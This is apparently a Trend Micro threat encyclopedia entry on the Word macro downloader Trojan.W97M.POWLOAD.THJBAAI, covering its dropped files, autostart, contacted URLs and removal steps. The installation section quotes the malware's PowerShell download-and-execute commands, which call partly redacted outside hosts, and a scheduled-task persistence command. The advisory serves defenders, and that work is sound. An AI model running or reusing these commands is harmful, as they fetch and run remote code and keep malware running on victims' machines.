Trojan.W97M.POWLOAD.THJBAAI
W97M/downloader.zzq (McAfee)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following copies of itself into the affected system:
- {malware path and file name}
It adds the following processes:
- "%System%\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object Net.WebClient).DownloadString('http://power.{BLOCKED}yquote.com/?need=stdgeyt&vid=dpec16&29916'));
- powershell iex ((New-Object Net.WebClient).DownloadString('http://power.{BLOCKED}yquote.com/?need=stdgeyt&vid=dpec16&29916'));
- "%System%\schtasks.exe" /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 18 /du 23:59 /TR %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
It creates the following folders:
- %System Root%\Users\Public\OracleKit
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
Autostart Technique
This Trojan drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:
- %User Startup%\WindowsApplicationService.lnk
(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)
Other System Modifications
This Trojan modifies the following file(s):
- %Application Data%\Microsoft\Office\Word12.pip
(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It deletes the following files:
- %Windows%\Tasks\WindowsApplicationService.job
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Dropping Routine
This Trojan drops the following files:
- %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
- %Application Data%\Microsoft\UProof\CUSTOM.DIC
- %System Root%\Users\Public\OracleKit\w00log03.tmp
- %System Root%\Users\Public\Libraries\678036
- %Application Data%\Microsoft\Office\Word12.pip
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
Other Details
This Trojan connects to the following possibly malicious URL:
- http://power.{BLOCKED}yquote.com/?need=stdgeyt&vid=dpec16&29916
- http://abs.{BLOCKED}sofnewyork.com/?need=aegzfej&vid=dpec16&
- http://denni.{BLOCKED}hughesagency.com
This report is generated via an automated analysis system.
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Restart in Safe Mode
Step 3
Identify and terminate files detected as Trojan.W97M.POWLOAD.THJBAAI
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 4
Search and delete these components
- %System Root%\Users\Public\Libraries\WindowsIndexingService.vbs
- %Application Data%\Microsoft\UProof\CUSTOM.DIC
- %System Root%\Users\Public\OracleKit\w00log03.tmp
- %System Root%\Users\Public\Libraries\678036
- %Application Data%\Microsoft\Office\Word12.pip
Step 5
Search and delete this folder
- %System Root%\Users\Public\OracleKit
Step 6
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.W97M.POWLOAD.THJBAAI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 7
Restore deleted/modified files and/or registry entries from backup
*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.
- %Application Data%\Microsoft\Office\Word12.pip
Step 8
Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.
- %Windows%\Tasks\WindowsApplicationService.job
Did this description help? Tell us how we did.